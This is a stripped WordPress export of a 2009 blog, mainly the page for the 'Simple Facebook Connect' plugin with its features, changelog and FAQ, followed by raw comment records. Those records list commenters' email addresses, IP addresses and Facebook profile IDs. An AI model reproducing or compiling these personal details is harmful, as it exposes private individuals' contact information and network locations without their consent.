    Best Cam Photos http://ottodestruct.com/blog/photos/best-cam-photos/ Thu, 01 Oct 2009 18:31:27 +0000 http://ottodestruct.com/blog/photos/best-cam-photos/ 565 2009-10-01 13:31:27 2009-10-01 18:31:27 closed open best-cam-photos publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} ObamiconMe Photos http://ottodestruct.com/blog/photos/obamiconme-photos/ Thu, 01 Oct 2009 18:31:27 +0000 http://ottodestruct.com/blog/photos/obamiconme-photos/ 566 2009-10-01 13:31:27 2009-10-01 18:31:27 closed open obamiconme-photos publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Mobile Uploads http://ottodestruct.com/blog/photos/mobile-uploads-2/ Thu, 01 Oct 2009 18:31:28 +0000 http://ottodestruct.com/blog/photos/mobile-uploads-2/ 567 2009-10-01 13:31:28 2009-10-01 18:31:28 closed open mobile-uploads-2 publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Simple Facebook Connect http://ottodestruct.com/blog/wordpress-plugins/simple-facebook-connect/ Mon, 26 Oct 2009 18:44:32 +0000 http://ottodestruct.com/blog/?page_id=569 http://ottopress.com/wordpress-plugins/simple-facebook-connect/ Plugin: [plugin name] Version: [plugin version] Last updated: [plugin updated_ago]. Downloaded: [plugin downloaded] times.

    Overview

    Facebook Connect is somewhat difficult to integrate with WordPress sites. Many plugins exist to do this, but they are overly complicated, or have security problems, or just plain don't do the things you want them to do. It doesn't have to be this way.

    Download Now

    Requirements

    WordPress 2.9 or higher. Yes, this plugin is for WordPress 2.9, which has not been released as of this writing. Some pieces might work on 2.8, but some won't.

    Features

    • Easy to install and use.
    • Modular. Only use the pieces you want to use.
    • Integrates easily into any theme.
    • Simple control panel, only has the options you need for the pieces you activate.
    • Secure. Uses the latest WordPress coding techniques to eliminate tricky security problems.

    Current sub-modules

    • Comment using Facebook Identity (with FB avatar support)
    • Automatically Publish new posts to Facebook Profile
    • Manually Publish posts to FB Profile or Applicaton/Fan Page
    • Login with your Facebook credentials
    • New user registration with Facebook credentials
    • Share button and Shortcode
    • Connect Button Widget and Shortcode
    • User Status Widget and Shortcode
    • Live Stream Widget and Shortcode
    • Bookmark Widget and Shortcode
    • Find us on Facebook button Widget and Shortcode
    • Fan Box Widget
    • Fan Count Chicklet and Widget

    Future sub-modules

    • Pull comments back from Facebook published posts into your site
    • (whatever you like, send me suggestions!)

    Installation Instructions

    1. Upload the files to the `/wp-content/plugins/simple-facebook-connect/` directory.
    2. Activate the base plugin through the 'Plugins' menu in WordPress.
    3. Configure Facebook Connect for your site by following the instructions on the Settings screen.
    4. Activate the sub plugins you want to use through the 'Plugins' menu in WordPress and configure them appropriately. Some require no configuration at all, some require minor theme changes.

    Licensing

    This plugin is licensed under the GPL Version 2 only.

    Method to get support

    You can email me directly, however I am also a moderator at the WordPress.org support forums, so you'll find me there as well.

    Download Now

    ]]>
    569 2009-10-26 13:44:32 2009-10-26 18:44:32 closed closed simple-facebook-connect publish 172 0 page 0 _wp_page_template default _edit_last 1 _edit_lock 1268150576 btc_comment_summary a:0:{} btc_comment_counts a:0:{} aktt_notify_twitter no _aktt_hash_meta plugin simple-facebook-connect plugin-info a:41:{s:4:"name";s:23:"Simple Facebook Connect";s:4:"slug";s:23:"simple-facebook-connect";s:7:"version";s:6:"0.16.1";s:6:"author";s:42:"Otto";s:11:"profile_url";s:50:"http://wordpress.org/extend/plugins/profile/otto42";s:12:"contributors";s:67:"Otto";s:8:"requires";s:5:"2.9.1";s:6:"tested";s:5:"2.9.2";s:13:"compatibility";s:4:"100%";s:10:"rating_raw";s:4:"78.4";s:11:"num_ratings";s:2:"24";s:14:"downloaded_raw";s:5:"32664";s:11:"updated_raw";s:10:"2010-04-01";s:12:"homepage_url";s:63:"http://ottopress.com/wordpress-plugins/simple-facebook-connect/";s:11:"description";s:1993:"

    Simple Facebook Connect is a series of plugins that let you add any sort of Facebook Connect functionality you like to a WordPress blog. This lets you have an integrated site without a lot of coding, and still letting you customize it exactly the way you'd like.

    First, you activate and set up the base plugin, which makes your site have basic Facebook Connect functionality. Then, each of the add-on plugins will let you add small pieces of specific Facebook-related functionality, one by one.

    Requires WordPress 2.9.1 and PHP 5.

    Current add-ons

    • Comment using Facebook Identity (with FB avatar support)
    • Automatically Publish new posts to Facebook Profile or Fan Page
    • Manually Publish posts to FB Profile or Application or Fan Page
    • Login with your Facebook credentials
    • New user registration with Facebook credentials
    • Share button and Shortcode
    • Connect Button Widget and Shortcode
    • User Status Widget and Shortcode
    • Live Stream Widget and Shortcode
    • Bookmark Widget and Shortcode
    • Find us on Facebook button Widget and Shortcode
    • Fan Box Widget
    • Fan Count Chicklet and Widget

    Coming soon

    • Pull comments back from Facebook published posts into your site
    • (Got more ideas? Tell me!)

    If you have suggestions for a new add-on, feel free to email me at otto@ottodestruct.com .

    Want regular updates? Become a fan of my sites on Facebook! http://www.facebook.com/apps/application.php?id=116002660893 http://www.facebook.com/ottopress

    Or follow my sites on Twitter! http://twitter.com/ottodestruct

    ";s:12:"installation";s:180:"
    1. Upload the files to the /wp-content/plugins/simple-facebook-connect/ directory
    2. Activate the plugin through the 'Plugins' menu in WordPress
    ";s:11:"screenshots";s:1894:"
    1. simple-facebook-connect screenshot 1

      Simple Facebook Connect Main Admin Screen.

    2. simple-facebook-connect screenshot 2

      Facebook share button in action.

    3. simple-facebook-connect screenshot 3

      Facebook Comments login button.

    4. simple-facebook-connect screenshot 4

      Facebook Connect button on the Login Screen.

    5. simple-facebook-connect screenshot 5

      Facebook Publisher box in the Post editing screen.

    6. simple-facebook-connect screenshot 6

      Connecting a WordPress account to a Facebook Account on the Profiles Page.

    7. simple-facebook-connect screenshot 7

      Connected a WordPress account to a Facebook Account on the Profiles Page.

    8. simple-facebook-connect screenshot 8

      Share button configuration

    ";s:9:"changelog";s:9679:"

    0.16.1

    • Missed a trailing slash issue in 0.16.

    0.16

    • Error handling on login now tells you "Facebook user not recognized" if you try to login with a FB user that isn't attached to a WP user.
    • Added Facebook Platform Status Feed on config page. This might help to tell users when Facebook is having issues, hopefully to make them stop emailing me every time Facebook's API servers have another hiccup.
    • Rewritten javascript for Comments plugin. Now the Sharing is optional with a checkbox (per FB's new guidelines) and the comment submission should be more bulletproof (for browsers that don't do Javascript quite properly... I'm looking at you Safari and Chrome!).
    • Fixed avatar styling issues. If you had already made changes to your CSS to account for the avatar divs, then those are now gone and the avatar class is properly on the IMG instead. If you do need special styling, use .fbavatar to refer to facebook avatars only.
    • Fixed minor share button problem with "method 2".
    • Main plugin now does some sanity checking for common errors.

    0.15

    • Script and style tags now get stripped properly when publishing.
    • Fanbox widget now has a height option.
    • The Connect Widget will now actually log a user into WordPress via redirecting them to wp-login.php. Login plugin must be activated for this to work. This can also trigger Register plugin, if that plugin is activated. User will be redirected back to current page, but with logged in cookies set.

    0.14

    • Fanbox had an error in 0.13.
    • Fixes publish error for people using themes that don't support post thumbnails

    0.13

    • Bug fix: Publish and Share could miss images in the content sometimes.
    • Minor speed improvements to Fan Box CSS handling.
    • Automatic Fan Page publishing now tries to force privacy setting to "Everyone", to eliminate issues with invalid privacy settings making posts not visible to Fans.
    • Post thumbnail support in Publish and Share plugins.
    • Minor Fanbox custom CSS improvement.
    • Publish won't send mere edits of already existing posts to Facebook now.
    • Changed comment plugin to use newer translateable Connect with Facebook button.

    0.12

    • Fan Box custom CSS support.
    • PHP 5 version checking as a base requirement. No way around this, Facebook's PHP libraries are PHP 5 and up only. PHP 4 is just dead.
    • Login and Comments plugins add Facebook person extension data to Atom feeds, based on Friendfeed discussion.
    • Additional error checking to try to prevent odd PHP errors whenever Facebook's API goes wonky.
    • Login now has an option to prevent people from disconnecting their WP and FB accounts. Add a "define('SFC_ALLOW_DISCONNECT',false); to your wp-config to prevent disconnection of accounts.
    • Fixed logout bugs in Login plugin. Logout works correctly now.
    • SSL Support. The base plugin now loads the scripts correctly for SSL connections. No guarantees, but it should work for SSL Admin users now.
    • Added "Find us on Facebook" button in widget and shortcode form. Button links to your main Facebook App/Fan Page wall. Use [fb-find] in posts for shortcode.
    • Automatic publishing to Fan Pages works now. Automatic publish to Application Walls does not work yet, due to Facebook bugs.
    • Register plugin now has a "one-click" mode, to skip all prompting. Add "define ('SFC_REGISTER_TRANSPARENT', true);" to your wp-config to enable this mode. WARNING: May be buggy, not recommended for production sites.
    • Minor speed enhancement that should fix some of the delays people see when logging in with FB on their sites.
    • Height support in Fan Box shortcode.

    0.11

    • Fix html entities in publish dialogs.
    • Publish plugin now supports automatic publishing! Look on the SFC settings page to grant permissions and enable automatic publishing.
    • Real email address support in comments and register. You need to fill in the "Email Domain" on the FB Applications tab to be given a proper choice.
    • Register plugin is now working. Requires login plugin to be enabled first.
    • Publish plugin is now smarter and won't show you publishing buttons if you're not connected to Facebook.
    • Published posts now also have a See Comments link on Facebook.

    0.10

    • Fix quoting problems with publish and comments, for stream publishing (quote marks in titles and such shouldn't cause problems any more)
    • Comment email improvement: If you have the "Comment author must fill out name and e-mail" checked in Settings->Discussion, the comments plugin will now ask the Facebook user for Permission to email that user. This will allow things like replying to the comment emails and Subscribe to Comments and similar plugins to work with Simple Facebook Connect. Yes, you can actually reply to the Facebook commenter when their comment gets emailed to you, and the reply works. Tested, proven.
    • Comments plugin now uses comment meta table for storing FB user id, making for much quicker avatar generation. Avatars used to be built by getting FB UID from the email field, which took time for regex parsing. Old avatars will be auto-converted to new method when displayed. This also has an advantage in that there's now an 'fbuid' comment meta field on every facebook connected comment, to tie back to the author of the comment.
    • Comments now don't rely on Javascript quite so much. Facebook PHP code is used to get relevant data.
    • Publish post-processing improvements, to try to get more images from the post content by using the_content filter.
    • Publish button now shows "Fan Page" instead of "Application", if you're using a Fan Page.
    • Made comment login button hook a bit more generic (anticipating a "Simple Twitter Connect" plugin).

    0.9

    • Added share button type option.
    • Improved login support. Now it verifies your users email address with Facebook before allowing them to connect their accounts. This ensures that at least they're using the same email on FB and on WP.
    • Fixed problem with page reloading for no obvious reason (using different reload method for login plugin).
    • Share button shortcode is now [fb-share] if you want to use that in a post.
    • Added new Publisher button to publish to your own Facebook profile (this is the same as sharing the post with the share button, actually, but a few people requested it).
    • Added Facebook logo checkbox to fanbox plugin.

    0.8

    • Added Fan Page support, for people who already have Fan Pages that they don't want to give up. I do not recommend using this option, but it's there if you really need it.
    • Improved login capabilities. Now a Connect button shows on the login screen, and logging out actually logs you out properly.

    0.7

    • Added shortcode for fanbox widget. [fb-fanbox]. Optional parameters are stream (1 or 0), connections (int), and width (int).
    • Added Application Secret field to main plugin. Login plugin will need it.
    • Facebook login now partially working. If you connect your WP account to your FB account and you visit the wp-login page while logged into Facebook as well, you will get auto-logged into WordPress, without any prompting or intervention. This may not be 100% secure or safe, and I do not recommend using it at this point, it's for testing only. I would, however, appreciate feedback on the best way to implement this, sort of thing.

    0.6

    • Added shortcode for live stream widget. [fb-livestream] will work in pages and posts. The width and height are optional parameters.
    • Added shortcode for user status widget. [fb-userstatus profileid="12345"] will work similarly. The profileid is required.
    • Added Connect button widget and shortcode [fb-connect].
    • Added Bookmark button widget and shortcode [fb-bookmark].

    0.5

    • Live Stream widget
    • Manual Publishing plugin. Lets you post links to your posts on the Facebook Application's Wall. These will show up as "updates" to Fans of your application (which makes the Fan Box widget more useful). Currently, this is manual in that it will only push posts to the Wall when you click the button on the Edit Post page and publish it there.

    0.4

    • Added Fan Box Widget
    • Added new Application ID field to main plugin
    • Minor internal reorganizing, for planned addons
    • Decided to keep all the version numbers in sync

    0.3

    • Comment avatars working, beginnings of a Facebook login capability.

    0.2.3

    • Comments working now. Requires minor theme modifications to make it work.

    0.2.2

    • Support FBFoundations compatibility, to some extent (make it easier to switch)
    • Correct minor errors

    0.2.1

    • Add meta information to share button, so that stuff shows up nicely on Facebook.

    0.2

    • Functional enough to use. Barely. Comments still not working. Share button works. XFBML works.

    0.1

    • Pre-Alpha. DO NOT USE.
    ";s:3:"faq";s:9824:"

    Whoa, what's with all these plugins?

    The principle behind this plugin is to enable small pieces of Facebook Connect functionality, one at a time.

    Thus, you have the base plugin, which does nothing except to enable your site for XFBML and Facebook Connect in general. It's required by all the other plugins.

    Then you have individual plugins, one for each piece of functionality. One for enabling comments, one for adding a share button, etc. These are all smaller and simpler, for the most part, because they don't have to add all the Facebook Connect stuff that the base plugin adds.

    The comments plugin isn't working!

    You have to modify your theme to use the comments plugin.

    In your comments.php file (or wherever your comments form is), you need to do the following.

    1. Find the three inputs for the author, email, and url information. They need to have those ID's on the inputs (author, email, url). This is what the default theme and all standardized themes use, but some may be slightly different. You'll have to alter them to have these ID's in that case.

    2. Just before the first input, add this code: [div id="comment-user-details"] [?php do_action('alt_comment_login'); ?]

    (Replace the []'s with normal html greater/less than signs).

    1. Just below the last input (not the comment text area, just the name/email/url inputs, add this: [/div]

    That will add the necessary pieces to allow the script to work.

    Hopefully, a future version of WordPress will make this simpler.

    The plugin causes an error with a missing "json_encode"!

    I did say that this plugin was for WordPress 2.9 and up.

    If you are using PHP 5.2 and up, json_encode is built in. If not, then WordPress 2.9 contains a backwards compatible version of it. Either way, many of the plugins need this function in order to do the Facebook sharing functionality properly.

    Instead of defining the function itself, it's relying on your code already having it available, whether it's through PHP or WordPress. WordPress 2.8.5 does NOT have this function, so unless you're running PHP 5.2 or up, many of the add-on plugins will not work with that version of WordPress.

    The automatic "share" after the comments looks funky! Or, there's strange text showing up where it shouldn't be!

    I have encountered other WordPress plugins which mess with the output created by the_excerpt. Since I'm using this to create the content for this piece of the share part, it's possible that there is another plugin interfering.

    To check this, view the source of the single post page. Near the bottom is a fair amount of javascript added by the comments plugin. One section in particular looks like this: var attachment = { 'name':'Name of post', 'href':'http://example.com/blog/2009/post-name/', 'description':"Lorem ipsum dolor sit amet [...]", 'caption':'{actor} left a comment on Name of post', 'comments_xid':'http%3A%2F%2Fexample.com%2Fblog%2F2009%2Fpost-name%2F' };

    If it looks messed up in any way, or if there's any extra text around that area, then you likely have some other plugin that breaks the usage of the_excerpt. You'll need to find and deactivate that plugin.

    The automatic "share" after the comments shows the wrong post!

    You have some plugin that is breaking the proper operation of The Loop. A lot of plugins that display some list of posts (like a list of most popular posts in the sidebar, or a recent comments list, etc) have been known to do this. These plugins were written incorrectly and need to be fixed. Look for updates to those plugins.

    Note that you must fix these plugins, or remove them. They can cause other issues as well, like comments being attached to the wrong posts and other oddities along those lines. This has been a long standing problem with many WordPress plugins and even some themes. If you cannot find the culprit, try the WordPress support forums. Be prepared to post code from your theme so that somebody can solve the problem for you.

    Share doesn't work, Publish doesn't work

    Check the page source. If you have a message in there that looks like this: "Warning: Cannot modify header information - headers already sent by ... in .../wp-includes/class-json.php on line 238", then you need to upgrade WordPress to 2.9.1. WordPress 2.9 had a minor bug that manifested itself as this error in some cases.

    Facebook Avatars look wrong.

    Facebook avatars use slightly different code than other avatars. They should style the same, but not all themes will have this working properly, due to various theme designs and such.

    However, it is almost always possible to correct this with some simple CSS adjustments. For this reason, they are placed inside a div with an "fbavatar" class, for you to use to style them as you need. Just use .fbavatar in your CSS and add styling rules to correct those specific avatars.

    The login plugin won't let me connect my accounts!

    A new security feature in the login plugin is email validation.

    When you connect your account to Facebook, the plugin talks to Facebook behind the scenes and attempts to verify your email address. This means that your email on your WordPress account must match one of the email addresses attached to your Facebook account. If the matching process fails, you'll get an alert box telling you why it failed, and the accounts will not be linked.

    This is a very alpha process and I can't be sure I've worked all the bugs out. If you have a problem and you know that your two accounts share the same email address, then email me directly with the problem and I'll try to help you out and fix the plugin. Please include screenshots of your email address in both WordPress and Facebook to prove you've checked that possible problem.

    Why does the comment plugin ask everybody to send them email?

    The comments plugin, as of version 0.10, asks for the Facebook user's permission to get their email address. Facebook uses a system called "proxy email", where it gives an email address back that is not the user's real email address, but which will forward emails to them. The comments plugin puts this information in the comment's email field. This is so that when you get the comment notification email, then the Reply-To section will actually work. You'll be able to reply back to the comment notification and the email will actually get to the user. This also lets plugins like Subscribe to Comments work.

    Sometime soon, Facebook is planning on changing their Email API, so this functionality may change or break. The plugin will be kept up to date with any changes Facebook makes, however, the permissions dialog will very likely remain.

    To disable this type permissions dialog, disable the option "Require Name and Email" in the WordPress Settings->Discussion screen.

    Why can't I automatically publish to my Application/Fan Page?

    Sorry, nothing I can do about it. There's a bug on Facebook preventing this: http://bugs.developers.facebook.com/show_bug.cgi?id=8184

    When they fix it, I'll turn this feature on. The code is there and done, it just needs to have that bug fixed.

    In the meantime, the manual publishing button for an Application or Fan Page works correctly. And automatic publishing of new posts to your personal profile works fine. Note: If you use a multi-user blog, this will publish to the user profile of whoever is publishing the post. That user must also have granted the extended permissions for it to work. Different people may see different settings there, so anybody doing publishing must have granted that permission if they want the post sent to Facebook automatically in any format.

    All the email addresses I get from this look like @proxy.facebook.com!

    Go to your FB Application, and edit the Settings. On the Advanced Page, there's a space for "email domain". Put your domain in there. Having that filled properly will give your users the ability to give you their real email addresses instead of the Facebook proxied ones.

    How do I use this Fanbox custom CSS option?

    Well, first you have to learn CSS.

    Next, try starting with this code in the custom CSS box: .connect_widget .connect_widget_facebook_logo_menubar {} .fan_box .full_widget .connect_top {} .fan_box .full_widget .page_stream {} .fan_box .full_widget .connections {}

    That should be enough to get you started.

    The publish code doesn't process the NextGen gallery shortcodes!

    Well, actually, the publish code would process those shortcodes, if NextGen Gallery wasn't trying to be so bloody clever.

    There's a bit of code in nggallery.php that looks like this: // Load backend libraries if ( is_admin() ) { require_once (dirname (FILE) . '/admin/admin.php'); require_once (dirname (FILE) . '/admin/media-upload.php'); $this->nggAdminPanel = new nggAdminPanel(); // Load frontend libraries
    } else { require_once (dirname (FILE) . '/lib/navigation.php'); require_once (dirname (FILE) . '/nggfunctions.php'); require_once (dirname (FILE) . '/lib/shortcodes.php'); }

    Notice that it doesn't load the shortcodes.php file in the admin sections? That's why those shortcodes don't get processed. Copy that shortcodes line up into the is_admin section too and it should work now.

    ";s:12:"download_url";s:72:"http://downloads.wordpress.org/plugin/simple-facebook-connect.0.16.1.zip";s:4:"tags";s:76:"status, Share, comments, javascript, otto42, otto, simple, connect, Facebook";s:11:"compat_with";s:5:"2.9.2";s:10:"downloaded";s:6:"32,664";s:6:"rating";s:1:"4";s:8:"link_url";s:60:"http://wordpress.org/extend/plugins/simple-facebook-connect/";s:7:"updated";s:13:"April 1, 2010";s:11:"updated_ago";s:10:"4 days ago";s:8:"download";s:89:"%s";s:8:"homepage";s:80:"%s";s:4:"link";s:77:"%s";s:7:"profile";s:67:"%s";s:10:"author_url";s:23:"http://ottodestruct.com";s:11:"author_name";s:4:"Otto";s:13:"latest_change";s:58:"
    • Missed a trailing slash issue in 0.16.
    ";s:13:"download_link";s:72:"http://downloads.wordpress.org/plugin/simple-facebook-connect.0.16.1.zip";s:9:"tags_list";s:76:"status, Share, comments, javascript, otto42, otto, simple, connect, Facebook";s:6:"extend";s:60:"http://wordpress.org/extend/plugins/simple-facebook-connect/";s:17:"last_updated_nice";s:13:"April 1, 2010";s:12:"last_updated";s:13:"April 1, 2010";s:16:"last_updated_ago";s:10:"4 days ago";s:16:"last_updated_raw";s:10:"2010-04-01";}
    _fb_post_id_profile 531132304_5003361479666 _revision-control 0 6952 mambro@mambro.it http://www.mambro.it 151.32.229.50 2009-10-28 14:08:53 2009-10-28 19:08:53 1 0 0 6955 1418482398@facebook.com http://www.facebook.com/profile.php?id=1418482398 81.83.139.93 2009-11-01 14:48:01 2009-11-01 20:48:01 1 0 0 6958 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-02 09:01:14 2009-11-02 15:01:14 1 6955 1 6959 592449318@facebook.com http://www.facebook.com/profile.php?id=592449318 81.183.183.170 2009-11-03 10:16:58 2009-11-03 16:16:58 1 0 0 6961 shawn@metapede.com http://metapedia.metapede.com/ 69.38.213.178 2009-11-03 16:05:38 2009-11-03 22:05:38 1 0 0 6962 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-03 16:34:50 2009-11-03 22:34:50 1 6961 1 6964 http://weblogtoolscollection.com/archives/2009/11/05/wordpress-plugin-releases-for-1105-2/ 74.208.106.67 2009-11-05 11:55:27 2009-11-05 17:55:27 1 pingback 0 0 6967 shawn@metapede.com http://www.metapede.com 69.38.213.178 2009-11-05 18:41:33 2009-11-06 00:41:33 1 6962 0 6968 http://www.bloground.ro/2009/11/wordpress-plugin-releases-for-1105-2/ 193.111.232.29 2009-11-06 00:19:41 2009-11-06 06:19:41 1 pingback 0 0 6969 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-06 10:32:33 2009-11-06 16:32:33 1 6952 1 6971 1462845555@facebook.com http://www.facebook.com/profile.php?id=1462845555 79.33.103.238 2009-11-06 11:18:07 2009-11-06 17:18:07 1 0 0 6972 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-06 11:32:10 2009-11-06 17:32:10 1 6971 1 6973 801488345@facebook.com http://www.facebook.com/profile.php?id=801488345 114.59.47.176 2009-11-06 12:50:14 2009-11-06 18:50:14 1 0 0 6974 1161000188@facebook.com http://www.facebook.com/profile.php?id=1161000188 81.242.108.237 2009-11-06 15:07:30 2009-11-06 21:07:30 1 0 0 6975 RebeccaStudio@gmail.com 76.231.10.90 2009-11-07 02:50:30 2009-11-07 08:50:30 1 0 0 6977 1155312249@facebook.com http://www.facebook.com/profile.php?id=1155312249 82.125.75.183 2009-11-07 18:27:19 2009-11-08 00:27:19 1 0 0 6978 1465464690@facebook.com http://www.facebook.com/profile.php?id=1465464690 83.40.82.136 2009-11-07 20:03:10 2009-11-08 02:03:10 1 0 0 6979 1043070013@facebook.com http://www.facebook.com/profile.php?id=1043070013 71.138.106.214 2009-11-07 20:10:48 2009-11-08 02:10:48 1 0 0 6980 http://rasml.org/2009/11/websites-october-31st-november-8th/ 67.228.216.8 2009-11-08 14:05:53 2009-11-08 20:05:53 1 pingback 0 0 6981 asda@lol.lol 79.55.28.200 2009-11-09 06:54:27 2009-11-09 12:54:27 1 0 0 6982 1051985009@facebook.com http://www.facebook.com/profile.php?id=1051985009 85.56.5.105 2009-11-09 07:28:16 2009-11-09 13:28:16 1 0 0 6983 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-09 08:30:10 2009-11-09 14:30:10 1 6981 1 6984 1782639453@facebook.com http://www.facebook.com/profile.php?id=1782639453 79.53.210.47 2009-11-09 11:11:47 2009-11-09 17:11:47 1 0 0 6985 http://www.guiawordpress.org/plugins-wordpress-05-11-2009/ 97.74.24.97 2009-11-10 08:33:45 2009-11-10 14:33:45 1 pingback 0 0 6986 609712064@facebook.com http://www.facebook.com/profile.php?id=609712064 64.244.83.200 2009-11-10 16:22:43 2009-11-10 22:22:43 1 0 0 6987 840884616@facebook.com http://www.facebook.com/profile.php?id=840884616 220.233.5.139 2009-11-11 11:36:33 2009-11-11 17:36:33 1 0 0 6988 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-11 11:43:01 2009-11-11 17:43:01 1 6987 1 6989 840884616@facebook.com http://www.facebook.com/profile.php?id=840884616 220.233.5.139 2009-11-11 17:11:03 2009-11-11 23:11:03 1 6988 0 6990 1057890311@facebook.com http://www.facebook.com/profile.php?id=1057890311 98.244.54.15 2009-11-12 19:09:37 2009-11-13 01:09:37 1 0 0 6991 1057890311@facebook.com http://www.facebook.com/profile.php?id=1057890311 98.244.54.15 2009-11-12 19:15:41 2009-11-13 01:15:41 1 6990 0 6992 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-13 09:15:17 2009-11-13 15:15:17 1 6990 1 6993 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-13 09:25:50 2009-11-13 15:25:50 is_comment_feed) That will prevent it from redirecting single page comment feeds to the main feedburner feed.]]> 1 6991 1 6994 1057890311@facebook.com http://www.facebook.com/profile.php?id=1057890311 98.244.54.15 2009-11-13 11:05:47 2009-11-13 17:05:47 1 6992 0 6995 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-13 11:12:32 2009-11-13 17:12:32 1 6994 1 6996 sahas@skattertech.com http://skattertech.com 98.244.54.15 2009-11-13 12:48:15 2009-11-13 18:48:15 1 6995 0 6997 tschwim@hotmail.com http://www.gamingangels.com 71.105.80.121 2009-11-13 21:12:52 2009-11-14 03:12:52 1 0 0 6999 1057890311@facebook.com http://www.facebook.com/profile.php?id=1057890311 98.244.54.15 2009-11-14 21:50:22 2009-11-15 03:50:22 1 6997 0 7000 628024446@facebook.com http://www.facebook.com/profile.php?id=628024446 121.54.1.21 2009-11-15 00:54:44 2009-11-15 06:54:44 1 0 0 7001 626257298@facebook.com http://www.facebook.com/profile.php?id=626257298 79.131.231.181 2009-11-15 05:40:36 2009-11-15 11:40:36 1 0 0 7002 frank@wichmann.tv http://www.frank.wichmann.tv/ 83.236.184.50 2009-11-16 04:51:02 2009-11-16 10:51:02 1 0 0 7003 http://www.italiasw.com/tutorials/i-plugins-fondamentali-wordpress.html 74.86.85.10 2009-11-16 05:01:37 2009-11-16 11:01:37 1 pingback 0 0 7004 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-16 08:15:11 2009-11-16 14:15:11 1 7002 1 7005 frank@wichmann.tv http://www.frank.wichmann.tv/ 83.236.184.50 2009-11-16 09:23:23 2009-11-16 15:23:23 1 7004 0 7103 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-17 08:39:38 2009-12-17 14:39:38 1 7101 1 7008 837750499@facebook.com http://www.facebook.com/profile.php?id=837750499 80.203.139.186 2009-11-17 16:15:32 2009-11-17 22:15:32 1 0 0 7011 frank@wichmann.tv http://www.frank.wichmann.tv/ 83.236.184.50 2009-11-18 06:36:29 2009-11-18 12:36:29 1 0 0 7012 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-18 08:46:07 2009-11-18 14:46:07 1 7011 1 7013 frank@wichmann.tv http://www.frank.wichmann.tv/ 83.236.184.50 2009-11-18 10:41:57 2009-11-18 16:41:57 1 7012 0 7054 1807952786@facebook.com http://www.facebook.com/profile.php?id=1807952786 119.73.70.194 2009-12-04 02:19:40 2009-12-04 08:19:40 1 7052 0 7061 812530082@facebook.com http://www.facebook.com/profile.php?id=812530082 189.134.63.140 2009-12-07 01:01:08 2009-12-07 07:01:08 1 0 0 7015 100000490096176@facebook.com http://www.facebook.com/profile.php?id=100000490096176 72.134.98.126 2009-11-20 05:50:29 2009-11-20 11:50:29 1 0 0 7016 steve@brickle.com http://peebee.php5.truth.posiweb.net/ 86.207.145.94 2009-11-20 11:21:15 2009-11-20 17:21:15 1 0 0 7017 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-20 11:29:37 2009-11-20 17:29:37 1 7016 1 7020 1324494811@facebook.com http://www.facebook.com/profile.php?id=1324494811 94.218.0.120 2009-11-21 10:03:04 2009-11-21 16:03:04 1 0 0 7022 1732519072@facebook.com http://www.facebook.com/profile.php?id=1732519072 203.82.79.105 2009-11-21 15:21:48 2009-11-21 21:21:48 1 0 0 7027 otto@ottodestruct.com http://ottodestruct.com 70.156.44.145 2009-11-23 17:10:21 2009-11-23 23:10:21 1 7022 1 7029 http://web20typ.de/2009/meine-bookmarks-vom-november-24th-von-1449-bis-1623/ 212.72.183.4 2009-11-24 10:05:28 2009-11-24 16:05:28 1 pingback 0 0 7031 maciek.bielski@gmail.com 84.10.45.112 2009-11-25 13:16:15 2009-11-25 19:16:15 1 0 0 7032 otto@ottodestruct.com http://ottodestruct.com 99.164.139.27 2009-11-26 13:11:49 2009-11-26 19:11:49 1 7031 1 7033 1008872188@facebook.com http://www.facebook.com/profile.php?id=1008872188 88.161.187.182 2009-11-26 17:27:16 2009-11-26 23:27:16 1 0 0 7034 1071189143@facebook.com http://www.facebook.com/profile.php?id=1071189143 69.140.140.199 2009-11-29 19:37:31 2009-11-30 01:37:31 1 0 0 7035 1071189143@facebook.com http://www.facebook.com/profile.php?id=1071189143 69.140.140.199 2009-11-29 19:38:45 2009-11-30 01:38:45 1 7034 0 7037 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-30 09:23:14 2009-11-30 15:23:14 1 7035 1 7038 648946820@facebook.com http://www.facebook.com/profile.php?id=648946820 60.240.196.166 2009-11-30 14:09:01 2009-11-30 20:09:01 1 0 0 7039 648946820@facebook.com http://www.facebook.com/profile.php?id=648946820 60.240.196.166 2009-11-30 14:11:25 2009-11-30 20:11:25 1 7038 0 7040 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-30 14:13:03 2009-11-30 20:13:03 1 7038 1 7041 648946820@facebook.com http://www.facebook.com/profile.php?id=648946820 60.240.196.166 2009-11-30 14:36:49 2009-11-30 20:36:49 1 7040 0 7042 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-30 14:39:40 2009-11-30 20:39:40 1 7041 1 7045 1807952786@facebook.com http://www.facebook.com/profile.php?id=1807952786 119.73.70.194 2009-12-02 09:12:27 2009-12-02 15:12:27 1 0 0 7047 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-02 12:16:29 2009-12-02 18:16:29 1 7045 1 7048 http://ottodestruct.com/blog/2009/wordpress-settings-api-tutorial/ 64.202.163.10 2009-12-02 16:06:16 2009-12-02 22:06:16 1 pingback 0 0 7050 1807952786@facebook.com http://www.facebook.com/profile.php?id=1807952786 119.73.70.194 2009-12-03 02:37:16 2009-12-03 08:37:16 1 7047 0 7051 53900721@facebook.com http://www.facebook.com/profile.php?id=53900721 72.27.65.24 2009-12-03 08:43:30 2009-12-03 14:43:30 1 0 0 7052 otto@ottodestruct.com 